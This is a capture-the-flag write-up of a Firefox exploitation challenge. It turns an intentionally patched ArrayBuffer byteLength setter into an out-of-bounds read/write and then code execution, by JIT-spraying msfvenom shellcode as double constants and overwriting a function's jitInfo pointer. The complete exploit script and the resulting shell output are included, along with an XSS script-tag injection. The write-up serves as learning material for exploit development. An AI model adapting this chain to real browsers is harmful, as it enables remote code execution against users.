Browser Exploitation: Firefox OOB to RCE
In this post, we will exploit Midenios, a good introductory browser exploitation challenge that was originally used for the HackTheBox Business-CTF. I had some experience exploiting IE/Edge/Chrome before, but exploiting Firefox was mostly new to me. I solved this challenge way after the CTF so I had some existing writeups to fall back on. There were a lot of excellent resources that helped with developing the exploit, here are some of them:
- https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/
- https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#force-the-jit-of-arbitrary-gadgets-bring-your-own-gadgets
- https://0xten.gitbook.io/public/hackthebox/business-ctf/2022/midenios (writeup for this challenge)
Definitely check out the write-up by 0xten because it follows a different exploitation path after obtaining the read/write primitive. Since it’s been a long time since I did anything with Firefox there might be some inaccuracies – if you find something please let me know I want to learn more :)
Vulnerability
The challenge itself has a website that allows you to submit unsanitized HTML input which is later visited by a bot. We can submit script tags to achieve a “persistent” XSS: <script src="http://127.0.0.1/exploit.js"></script>
. The bot is using a vulnerable, custom-patched version of Firefox to visit the page and is executing the user-provided JavaScript.
Besides the website, we are provided an archive that contains a “patch.diff” which shows the changes made to the code base, and a “mozconfig” that shows that debug mode is enabled.
mozconfig
1
ac_add_options --enable-debug
patch.diff (shorted and commented, all changes to js/src/vm/ArrayBufferObject.cpp,js/src/vm/ArrayBufferObject.h
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# added a setter for byteLength
- JS_PSG("byteLength", ArrayBufferObject::byteLengthGetter, 0),
+ JS_PSGS("byteLength", ArrayBufferObject::byteLengthGetter, ArrayBufferObject::byteLengthSetter, 0),
# added implementation for the byteLength setter
+MOZ_ALWAYS_INLINE bool ArrayBufferObject::byteLengthSetterImpl(
+ JSContext* cx, const CallArgs& args) {
+ MOZ_ASSERT(IsArrayBuffer(args.thisv()));
+
+ // Steps 1-2
+ auto* buffer = &args.thisv().toObject().as<ArrayBufferObject>();
+ if (buffer->isDetached()) {
+ JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,
+ JSMSG_TYPED_ARRAY_DETACHED);
+ return false;
+ }
+
+ // Step 3
+ double targetLength;
+ if (!ToInteger(cx, args.get(0), &targetLength)) {
+ return false;
+ }
+
+ if (buffer->isDetached()) { // Could have been detached during argument processing
+ JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,
+ JSMSG_TYPED_ARRAY_DETACHED);
+ return false;
+ }
+
+ // Step 4
+ buffer->setByteLength(targetLength);
+
+ args.rval().setUndefined();
+ return true;
+}
# removed length sanity check
void ArrayBufferObject::setByteLength(size_t length) {
- MOZ_ASSERT(length <= maxBufferByteLength());
+// MOZ_ASSERT(length <= maxBufferByteLength());
setFixedSlot(BYTE_LENGTH_SLOT, PrivateValue(length));
}
We can see that a new setter was added that allows to set byteLength
on an ArrayBuffer and that a check was removed that was checking whether the length is below maxBufferByteLength
. Without reading everything in the patch diff we can already assume that we will have to create an ArrayBuffer object and then set its byteLength
to a large value to achieve out-of-bounds memory access when accessing the contents of the ArrayBuffer.
Before trying to verify our assumption we have to create a debug environment to develop the exploit.
Preparing the debug environment
To quickly test our exploit without having to start Firefox itself, we can compile its JavaScript engine, Spidermonkey, locally. We will do that both in debug and in release mode (the reason for both will be clear later):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
rustup update
hg clone http://hg.mozilla.org/mozilla-central spidermonkey
cd spidermonkey
spidermonkey patch -p1 < ../pwn_midenios/src/diff.patch
patching file js/src/vm/ArrayBufferObject.cpp
Hunk #1 succeeded at 325 (offset -11 lines).
Hunk #2 succeeded at 366 (offset -11 lines).
Hunk #3 succeeded at 1031 (offset -7 lines).
patching file js/src/vm/ArrayBufferObject.h
Hunk #1 succeeded at 167 (offset 1 line).
Hunk #2 succeeded at 339 (offset 1 line).
cd spidermonkey/js/src
mkdir build_DBG.OBJ
cd build_DBG.OBJ
../configure --enable-debug --disable-optimize
make -j8
cd ..
mkdir build.OBJ
cd build.OBJ
../configure --disable-debug --disable-optimize
make -j8
After compiling both versions we can find the js
executable in both build directories in dist/bin/
. For debugging I will use gdb with https://hugsy.github.io/gef/. Now that we have our environment setup, we can write a simple PoC that does an out-of-bounds read.
We define an ArrayBuffer “A” and use the new byteLength
setter to put a large value there. We then create another ArrayBuffer “B” just to have an adjacent object in memory (it will be placed exactly next to the first one). Then we create a TypedArray (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) from our ArrayBuffer. This is done so we can access the contents of the underlying binary buffer as an array.
Finally, we try to dump the contents of “A” which is only defined up to the 10th iteration (we set the size to 80 – so 10 8-byte values). However, due to our manipulated byte length, we can now print beyond that boundary and dump the memory of the adjacent object “B”.
Poc_0x01.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
aBuf[0] = 0x4141414141414141n
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBuf = new BigUint64Array(bBuf)
bBuf[0] = 0x4242424242424242n
// access A as a TypedArray out of bounds to read some metadata/data of B
for(let i=0;i<20;i++){
console.log(`${i} ${aBuf[i].toString(16)}`)
}
Running the PoC shows that we can indeed access beyond the size of the ArrayBuffer and see memory that does not belong to it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
spidermonkey/js/src/build_DBG.OBJ/dist/bin/js -i pwn_0x01.js
0 4141414141414141
1 0
2 0
3 0
4 0
5 0
6 0
7 0
8 0
9 0
10 fffe4d4d4d4d4d4d
11 fffe4d4d4d4d4d4d
12 58dcd466700
13 5618d8518088
14 5618d8517828
15 58dcd46a160
16 50
17 fffe3ee4bd6007e0
18 fff8800000000000
19 4242424242424242
Obtaining a read/write primitive
So what are these values? Let’s have a look in gdb at “A” first (which is a TypedArray):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gdb -p $(pidof js)
gef➤ grep 0x4141414141414141
[+] Searching '\x41\x41\x41\x41\x41\x41\x41\x41' in memory
[+] In (0x58dcd400000-0x58dcd500000), permission=rw-
0x58dcd469038 - 0x58dcd469040 → "AAAAAAAA"
0x58dcd46a0c8 - 0x58dcd46a0d0 → "AAAAAAAA"
[+] In (0x3ee4bd600000-0x3ee4bd700000), permission=rw-
0x3ee4bd600848 - 0x3ee4bd600868 → "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6'(0x7f4343996000-0x7f43439ee000), permission=r--
0x7f43439bc440 - 0x7f43439bc460 → "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
0x7f43439bc448 - 0x7f43439bc468 → "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
0x7f43439bc450 - 0x7f43439bc470 → "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
0x7f43439bc458 - 0x7f43439bc478 → "\x41\x41\x41\x41\x41\x41\x41\x41[...]"
gef➤ x/40xg 0x58dcd46a0c8-0x40
0x58dcd46a088: 0x0000000000000000 0x0000058dcd466700 (*shape)
0x58dcd46a098: 0x00005618d8518088 (*slots) 0x00005618d8517828 (*elementsHdr)
0x58dcd46a0a8: 0x0000058dcd46a0c8 (*elementsData) 0x00000000000003e8 (byteLength)
0x58dcd46a0b8: 0xfffe3ee4bd6007a0 (*typedArray) 0xfff8800000000000 (offset)
0x58dcd46a0c8: 0x4141414141414141 (data start) 0x0000000000000000
0x58dcd46a0d8: 0x0000000000000000 0x0000000000000000
0x58dcd46a0e8: 0x0000000000000000 0x0000000000000000
0x58dcd46a0f8: 0x0000000000000000 0x0000000000000000
0x58dcd46a108: 0x0000000000000000 0x0000000000000000 (data end)
0x58dcd46a118: 0xfffe4d4d4d4d4d4d 0xfffe4d4d4d4d4d4d
0x58dcd46a128: 0x0000058dcd466700 0x00005618d8518088
0x58dcd46a138: 0x00005618d8517828 0x0000058dcd46a160
0x58dcd46a148: 0x0000000000000050 0xfffe3ee4bd6007e0
0x58dcd46a158: 0xfff8800000000000 0x4242424242424242
...
We can relatively easily find the same values in gdb by grepping for 0x4141414141414141
which we placed as the first value in the “A” array. To understand what these values are, we have to look at how these objects work internally. I annotated the first object in the debug view above to show what some of these values are representing.
The structure we see here is based on a NativeObject which most JavaScript objects inherit from (in the source it does not look exactly like this but it helps in understanding the layout (https://searchfox.org/mozilla-central/source/js/src/vm/NativeObject.h#547). I tried to illustrate the memory layout below (some of the names I made up):
1
2
3
4
5
6
7
8
9
10
11
---[Meta Data]---
*shape
*slots
*elementsHeader
*elementsData --------------
byteLength |
*typedArrayObj |
offset |
---[Data]--- |
0x414141414141 <-----
...
shape
: Points to names of properties and corresponding indices into the slots array.
slots
: Points to an array of values for properties. Here: emptyObjectSlotsHeaders
.
elementsHeader
: Here emptyElementsHeader
.
elementsData
: Points to the data (our array contents).
byteLength
: The byteLength we can set via the vulnerable setter.
typedArrayObj
: This is a tagged pointer that is pointing to the BigUint64Array Metadata.
offset
: Contains 0xfff8800000000000
which is the value zero, type tagged as an integer.
More detailed information can be found in this post: https://vigneshsrao.github.io/posts/play-with-spidermonkey/. The most important value, for now, is the data pointer (here: 0x0000058dcd46a0c8
) which points to the actual data being stored in the ArrayBuffer. Since we set the length of ArrayBuffer “A” to 1000, we can read or write any of the following 125 (1000/8) values. If we were to overwrite the data pointer of ArrrayBuffer “B” to a location where we want to read or write, we could then simply index into “B” to read or write anywhere on the system.
Let’s test this assumption and create some helper functions read64
and write64
. These functions both use the out-of-bounds write we achieved via “A” to set the data pointer of “B” to a location of our choice. We then either read or set the value by indexing into “B” as TypedArray.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
aBuf[0] = 0x4141414141414141n
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)
bBufTyped[0] = 0x4242424242424242n
bBufTyped[1] = 0x4343434343434343n
function read64(addr){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// return first element (exactly where the changed data pointer points to)
return typedB[0]
}
function write64(addr, value){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// set first element (exactly where the changed data pointer points to)
typedB[0] = value
}
Let’s test the read primitive by reading some values from pointers we see in gdb:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x3f20d3c6a098: 0x000055fd568dc088 0x000055fd568db828
0x3f20d3c6a0a8: 0x00003f20d3c6a0c8 0x00000000000003e8
0x3f20d3c6a0b8: 0xfffe09cda9d007e0 0xfff8800000000000
0x3f20d3c6a0c8: 0x4141414141414141 0x0000000000000000
0x3f20d3c6a0d8: 0x0000000000000000 0x0000000000000000
0x3f20d3c6a0e8: 0x0000000000000000 0x0000000000000000
0x3f20d3c6a0f8: 0x0000000000000000 0x0000000000000000
0x3f20d3c6a108: 0x0000000000000000 0x0000000000000000
0x3f20d3c6a118: 0xfffe4d4d4d4d4d4d 0xfffe4d4d4d4d4d4d
0x3f20d3c6a128: 0x00003f20d3c66720 0x000055fd568dc088
0x3f20d3c6a138: 0x000055fd568db828 0x00003f20d3c6a160
0x3f20d3c6a148: 0x0000000000000050 0xfffe09cda9d00820
0x3f20d3c6a158: 0xfff8800000000000 0x4242424242424242
0x3f20d3c6a168: 0x4343434343434343 0x0000000000000000
0x3f20d3c6a178: 0x0000000000000000 0x0000000000000000
0x3f20d3c6a188: 0x0000000000000000 0x0000000000000000
0x3f20d3c6a198: 0x0000000000000000 0x0000000000000000
0x3f20d3c6a1a8: 0x0000000000000000 0xfffe4d4d4d4d4d4d
0x3f20d3c6a1b8: 0xfffe4d4d4d4d4d4d 0x0000000000000000
0x3f20d3c6a1c8: 0x0000000000000000 0x000000000000000
1
2
3
4
5
6
js> console.log(read64(0x00003f20d3c6a160n).toString(16))
4242424242424242
js> console.log(read64(0x00003f20d3c6a168n).toString(16))
4343434343434343
js> console.log(read64(0x000055fd568dc088n).toString(16))
100000000
Writing works as well:
1
2
3
write64(0x00003f20d3c6a160n, 0xcafecafecafecafen)
js> console.log(read64(0x00003ed0df26a160n).toString(16))
cafecafecafecafe
One more primitive
Before we think about what we want to read or write we want to create another helper function that gives us the address of an arbitrary JavaScript object. This is very useful if we want to overwrite pointers in certain JavaScript Objects later on.
1
2
3
4
5
6
7
8
function addrof(obj){
// Set a new property on the ArrayBuffer, it will be pointed to by the slots pointer (offset 13)
bBuf.leak = obj
// read the slots pointer back
_slots = aBuf[13]
// dereference the slots pointer and return it (while masking off any pointer tagging)
return read64(_slots) & 0xffffffffffffn
}
This function requires some explanation. When we create a property on a JavaScript object a pointer to those properties exists inside the object’s metadata (just like our data pointer from before). On the last memory dump we had no properties defined but can still see the slots pointer 2 values before the data pointer:
1
2
3
4
5
6
7
...
0x3f20d3c6a118: 0xfffe4d4d4d4d4d4d 0xfffe4d4d4d4d4d4d
0x3f20d3c6a128: 0x00003f20d3c66720 0x000055fd568dc088 < slots
0x3f20d3c6a138: 0x000055fd568db828 0x00003f20d3c6a160 < elementsData
0x3f20d3c6a148: 0x0000000000000050 0xfffe09cda9d00820
0x3f20d3c6a158: 0xfff8800000000000 0x424242424242424
...
Now if we define a custom property b.leak
and then use our read primitive to dereference the slots pointer, we get the address of our obj
which was placed in the slots array. Note that we must mask off the first 2 bytes since these encode type information (pointer tagging).
Exploitation
If we think about exploitation, we want to get shellcode somewhere in memory and execute it. Unfortunately, it is not that easy because via JavaScript writeable locations are not executable and anything we write from JavaScript might just be interpreted and not even appear consecutive in memory. Even if we had our shellcode in memory and it would be executable – we would still need to find a way to jump to it using just JavaScript since we have some primitives but no control over any registers or the instruction pointer.
Let’s solve the shellcode problem first. One way to get your own code into executable memory is to use double constants. I learned about this method in this SentinelOne blog post: https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/. Doubles have an 8-byte backing buffer and if we define a bunch of them as constants after another we can get our shellcode bytes in consecutive, executable memory. I wrote a simple online converter to convert shellcode to doubles: http://127.0.0.1/shellcode-converter/.
Shellcode
1
2
3
4
5
6
7
8
msfvenom -p linux/x64/exec cmd="/bin/sh -c 'id; bash'" -f csharp
byte[] buf = new byte[58] {0x48,0xb8,0x2f,0x62,0x69,0x6e,
0x2f,0x73,0x68,0x00,0x99,0x50,0x54,0x5f,0x52,0x66,0x68,0x2d,
0x63,0x54,0x5e,0x52,0xe8,0x16,0x00,0x00,0x00,0x2f,0x62,0x69,
0x6e,0x2f,0x73,0x68,0x20,0x2d,0x63,0x20,0x27,0x69,0x64,0x3b,
0x20,0x62,0x61,0x73,0x68,0x27,0x00,0x56,0x57,0x54,0x5e,0x6a,
0x3b,0x58,0x0f,0x05};
Converted Shellcode
1
2
3
4
5
6
7
8
6.867659397734779e+246
7.806615353364766e+184
2.541954188459429e-198
3.2060568060029287e-80
3.4574612453438036e+198
7.57500810708945e-119
1.0802257739008538e+117
-6.828527034370483e-229
Now we define the constants in a function and then call it often enough to trigger the JIT compiler. The JIT compiler essentially compiles certain code from JavaScript to native code if it makes sense (e.g. it’s used a lot) in order to optimize for speed. By calling our function a lot of times we enforce the behavior. Now we can use our addrof
primitive to get the address of our JITted function and then use gdb to inspect the memory. Note that we added the double for \x41\x41\x41\x41
as the first constant in order to find the shellcode in memory.
PoC_0x02.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)
function read64(addr){
// overwrite metadata, pointer to data
aBuf[15] = addr
let typedB = new BigUint64Array(bBuf)
return typedB[0]
}
function write64(addr, value){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// set first element (exactly where the changed data pointer points to)
typedB[0] = value
}
function addrof(obj){
// Set a new property on the ArrayBuffer, its pointer will be pointed to by the slots pointer (offset 13)
bBuf.leak = obj
// read the slots pointer back
_slots = aBuf[13]
// dereference the slots pointer and return it (while masking off any pointer tagging)
return read64(_slots) & 0xffffffffffffn
}
function shellcode (){
EGG = 5.40900888e-315; // 0x41414141 in memory, marker to find
C01 = -6.828527034422786e-229; // 0x9090909090909090
C02 = 6.867659397734779e+246
C03 = 7.806615353364766e+184
C04 = 2.541954188459429e-198
C05 = 3.2060568060029287e-80
C06 = 3.4574612453438036e+198
C07 = 7.57500810708945e-119
C08 = 1.0802257739008538e+117
C09 = -6.828527034370483e-229
}
// JIT Spray - will make sure the constants are compiled to native code and create our shellcode
for (let i = 0; i < 100000; i++) {
shellcode();
}
console.log(addrof(shellcode).toString(16));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
1362e6600860
js>
gef➤ tele 0x1362e6600860
0x001362e6600860│+0x0000: 0x00209976a3d160 → 0x00209976a3c0a0 → 0x0056278d78d150 → 0x0056278d845433 → "Function"
0x001362e6600868│+0x0008: 0x0056278c099088 → <emptyObjectSlotsHeaders+8> add BYTE PTR [rax], al
0x001362e6600870│+0x0010: 0x0056278c098828 → <emptyElementsHeader+16> add BYTE PTR [rax], al
0x001362e6600878│+0x0018: 0xfff88000000000a0
0x001362e6600880│+0x0020: 0xfffe209976a3f038
0x001362e6600888│+0x0028: 0x00209976a68150 → 0x002762b3c15cb0 → 0x0fc4f640ec8b4855
0x001362e6600890│+0x0030: 0xfffb209976a652a0
0x001362e6600898│+0x0038: 0x007f71b6cdca18 → 0x007f71b6cdc000 → 0x007f71b6c18000 → 0x0000000000000000
0x001362e66008a0│+0x0040: 0x00209976a6c1c0 → 0x00209976a3c2c8 → 0x0056278d793a90 → 0x0056278bf5b763 → "BigUint64Array"
0x001362e66008a8│+0x0048: 0x0056278c099088 → <emptyObjectSlotsHeaders+8> add BYTE PTR [rax], al
This gives us the address of the JSFunction object of the function. When we look at offset 0x28 we can see an interesting pointer to a heap region. This is the jitInfo
pointer (JSFunction.u.native.extra.jitInfo
) and points to the JIT code of the function at 0x002762b3c15cb0
. This is likely more than just our shellcode though since we just defined constants and its just treated as data at this point. We can disassemble at that address as code and notice that this looks like “real” instructions and not some random data:
1
2
3
4
5
6
7
8
x/100i 0x002762b3c15cb0
0x2762b3c15cb0: push rbp
0x2762b3c15cb1: mov rbp,rsp
0x2762b3c15cb4: test spl,0xf
0x2762b3c15cb8: je 0x2762b3c15cbf
0x2762b3c15cbe: int3
...
So let’s search for our marker and compare the pointers:
1
2
3
4
gef➤ grep 0x41414141
...
0x2762b3c16d90 - 0x2762b3c16d94 → "AAAA"
...
We calculate: 0x2762b3c16d90 - 0x002762b3c15cb0 = 0x10E0
. This means the JIT area of this function is actually pretty big but if search forward through it we would eventually find our marker. Let’s see if the constants ended up in memory as our shellcode:
1
2
3
4
5
6
x/20xg 0x2762b3c16d90
0x2762b3c16d90: 0x0000000041414141 0x9090909090909090
0x2762b3c16da0: 0x732f6e69622fb848 0x66525f5450990068
0x2762b3c16db0: 0x16e8525e54632d68 0x2f6e69622f000000
...
And as we can see, we found not only our marker but also the shellcode we intended in the correct order on a read/execute page.
After having solved the “shellcode problem” we still need a way to dynamically locate it (since it’s somewhere at a changing offset from where the jitInfo pointer points) and transfer execution to it. Finding the location is not that difficult as we can use our read primitive to scan the memory until we find the marker:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...
shellcode_addr = addrof(shellcode);
console.log("[>] Function @ " + shellcode_addr.toString(16));
// Get the jetInfo pointer in the JSFunction object (JSFunction.u.native.extra.jitInfo_)
jitinfo = read64(shellcode_addr + 0x28n);
console.log("[>] Jitinfo @ " + jitinfo.toString(16));
// Dereference pointer to get RX Region
rx_region = read64(jitinfo & 0xffffffffffffn);
console.log("[>] Jit RX @ " + rx_region.toString(16));
// Iterate to find magic value (since the shellcode is not at the start of the rx_region)
it = rx_region; // Start from the RX region
found = false
for(i = 0; i < 0x800; i++) {
data = read64(it);
if(data == 0x41414141n) {
it = it + 8n; // 8 byte offset to account for magic value
found = true;
break;
}
it = it + 8n;
}
if(!found) {
console.log("[-] Failed to find Jitted shellcode in memory");
}
There is one problem here – if you run it in the debug version it fails:
1
Assertion failure: !cx->nursery().isInside(ptr)
When running release it does however work. Debug adds some assertions to make sure nothing funky is going on – so most of the time it’s a good idea to start with the debug version but switch to release at some point. In this case, the challenge itself is however also running in debug mode so we will have to fix our exploit to work around that! What I noticed other people are doing to get around this is essentially looping until the shellcode pointer changes (often with some additional logic that didn’t appear to be required) – I have no idea why this is required but it works (please let me know!). So what we can add is a simple loop that waits for that change to occur:
1
2
3
4
5
shellcode_addr = addrof(shellcode);
while(shellcode_addr == addrof(shellcode)){
// just block until we get the updated addr
}
shellcode_addr = addrof(shellcode);
With that last problem out of the way, transferring execution to our shellcode is actually quite easy because we can just write to the jitInfo pointer with the location of our shellcode:
1
2
write64(jitinfo, shellcode_location);
shellcode();
With this, we modified the native code that is executed whenever we call the shellcode function. Remember that before we did define some constants but it was never intended to be code – just (constant) data. By setting the jitInfo pointer forward to these constants we make it code! With this last part being done, we now have a full PoC and can run it to execute commands:
Full exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// create an ArrayBuffer A and set its length to a large value
aBuf = new ArrayBuffer(80);
aBuf.byteLength = 1000;
aBuf = new BigUint64Array(aBuf)
// create a second ArrayBuffer B to have an adjacent object
bBuf = new ArrayBuffer(80);
bBufTyped = new BigUint64Array(bBuf)
function read64(addr){
// overwrite metadata, pointer to data
aBuf[15] = addr
let typedB = new BigUint64Array(bBuf)
return typedB[0]
}
function write64(addr, value){
// overwrite metadata, pointer to data
aBuf[15] = addr
// access B as a TypedArray to get a 64 bit value back
let typedB = new BigUint64Array(bBuf)
// set first element (exactly where the changed data pointer points to)
typedB[0] = value
}
function addrof(obj){
// Set a new property on the ArrayBuffer, its pointer will be pointed to by the slots pointer (offset 13)
bBuf.leak = obj
// read the slots pointer back
_slots = aBuf[13]
// dereference the slots pointer and return it (while masking off any pointer tagging)
return read64(_slots) & 0xffffffffffffn
}
function shellcode (){
EGG = 5.40900888e-315; // 0x41414141 in memory, marker to find
C01 = -6.828527034422786e-229; // 0x9090909090909090
C02 = 6.867659397734779e+246
C03 = 7.806615353364766e+184
C04 = 2.541954188459429e-198
C05 = 3.2060568060029287e-80
C06 = 3.4574612453438036e+198
C07 = 7.57500810708945e-119
C08 = 1.0802257739008538e+117
C09 = -6.828527034370483e-229
}
// JIT Spray - will make sure the constants are compiled to native code and create our shellcode
for (let i = 0; i < 100000; i++) {
shellcode();
}
// workaround to make the exploit work in release and debug version
shellcode_addr = addrof(shellcode);
while(shellcode_addr == addrof(shellcode)){
// just block until we get the updated addr
}
shellcode_addr = addrof(shellcode);
console.log("[>] Function @ " + shellcode_addr.toString(16));
// Get the jetInfo pointer in the JSFunction object (JSFunction.u.native.extra.jitInfo_)
jitinfo = read64(shellcode_addr + 0x28n);
console.log("[>] Jitinfo @ " + jitinfo.toString(16));
// Dereference pointer to get RX Region
rx_region = read64(jitinfo & 0xffffffffffffn);
console.log("[>] Jit RX @ " + rx_region.toString(16));
// Iterate to find magic value (since the shellcode is not at the start of the rx_region)
it = rx_region; // Start from the RX region
found = false
for(i = 0; i < 0x800; i++) {
data = read64(it);
if(data == 0x41414141n) {
it = it + 8n; // 8 byte offset to account for magic value
found = true;
break;
}
it = it + 8n;
}
if(!found) {
console.log("[-] Failed to find Jitted shellcode in memory");
}
shellcode_location = it;
console.log("[>] Shellcode @ " + shellcode_location.toString(16));
// Overwrite jitInfo pointer and execute modified function
write64(jitinfo, shellcode_location);
shellcode();
This yields a shell:
1
2
3
4
5
6
[>] Function @ 279b70d00860
[>] Jitinfo @ 159537965150
[>] Jit RX @ 2ed9ab64b990
[>] Shellcode @ 2ed9ab64bd30
uid=1000(xct) gid=1000(xct) groups=1000(xct)
xct@kali:/home/xct$
For the remote version, just replace the shellcode with something that will grab the flag – I’ll leave that as an exercise for the reader ;)